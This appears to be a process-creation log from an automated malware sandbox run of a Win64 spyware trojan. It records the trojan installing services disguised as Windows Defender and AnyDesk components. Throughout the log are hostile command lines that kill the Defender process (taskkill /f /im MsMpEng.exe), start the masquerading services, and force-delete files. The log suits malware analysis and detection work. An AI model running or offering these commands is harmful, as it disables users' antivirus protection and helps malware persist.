Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe "C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe" install	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2404	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6636	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2128	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
